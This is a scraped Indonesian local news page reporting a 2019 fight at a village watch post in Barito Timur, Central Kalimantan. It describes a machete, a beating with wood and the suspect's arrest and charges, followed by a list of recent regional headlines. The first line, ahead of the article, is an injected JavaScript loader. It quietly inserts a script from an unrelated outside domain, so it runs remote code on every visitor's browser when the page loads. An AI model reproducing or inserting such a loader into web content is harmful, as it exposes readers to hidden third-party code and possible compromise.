(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Asyik Bergurau di Poskamling, Eh AD Malah Cabut Parang, Malah Kena Pukul


TAMIANG LAYANG, Sekelompok pemuda desa Ramania, Kecamatan Petangkep Tutui, Kabupaten Barito Timur (Bartim) sedang asyik bercanda ria di Poskamling harus bubar, lantaran canda tawa mereka berakhir dengan penganiayaan, Rabu (9/10/2019) pukul 20.30 WIB.

Kejadian bermula saat AD (21) bersama ES (40) keduanya warga desa Bentot, Kecamatan Petangkep Tutui, Kabupaten Bartim, sedang bercengkerama bersama teman-temannya di Poskmaling Desa Ramania, tiba-tiba antara AD dan ES berselisih paham sehingga terjadi penganiayaan yang di lakukan oleh ES terhadap AD.

Kapolsek Petangkep Tutui Ipda Ather Diorama SH menjelaskan, “Kejadian bermula, korban AD bersama pelaku ES (40) sedang bercengkrama dengan teman-teman di Poskamling Desa Ramania, tiba-tiba terjadi perselisihan paham, kemudian AD mencabut parang yang terselip di bagian depan sepeda motor, melihat hal tersebut datanglah saksi Adi Andani dan menegur AD agar tidak bermain dengan parang lalu merebut parang tersebut dari korban. Melihat hal itu ES langsung mengambil sebilah kayu yang berada di sekitar tempat tersebut dan langsung memukul kepala korban sebanyak 5 kali, akibat kejadian tersebut korban mengalami luka di bagian kepala dan oleh teman-temannya dilarikan ke Rumah Sakit Bentot, sedangkan pelaku berhasil diamankan.

“Atas peristiwa tersebut kami berhasil mengamankan barang bukti berupa sebilah kayu dengan panjang 75 cm, sebilah parang dengan gagang kayu panjang kurang lebih 57 cm, satu buah kaos warna putih dengan bercak darah, satu buah jaket sweater warna abu-abu dengan bercak darah Pelaku berikut barang bukti dibawa ke Polsek Petangkep Tutui guna proses penyidikan lebih lanjut dan terhadap pelaku kami kenakan Pasal 354 ayat (1) Sub Pasal 351 ayat (2) KUHPidana dengan ancaman hukuman maksimal 8 tahun penjara. (dew)

Reporter : dew
Editor : bie

 


Desy Arfianty

Recent Posts

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

25 menit ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

33 menit ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

2 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

13 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

15 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

21 jam ago

This website uses cookies.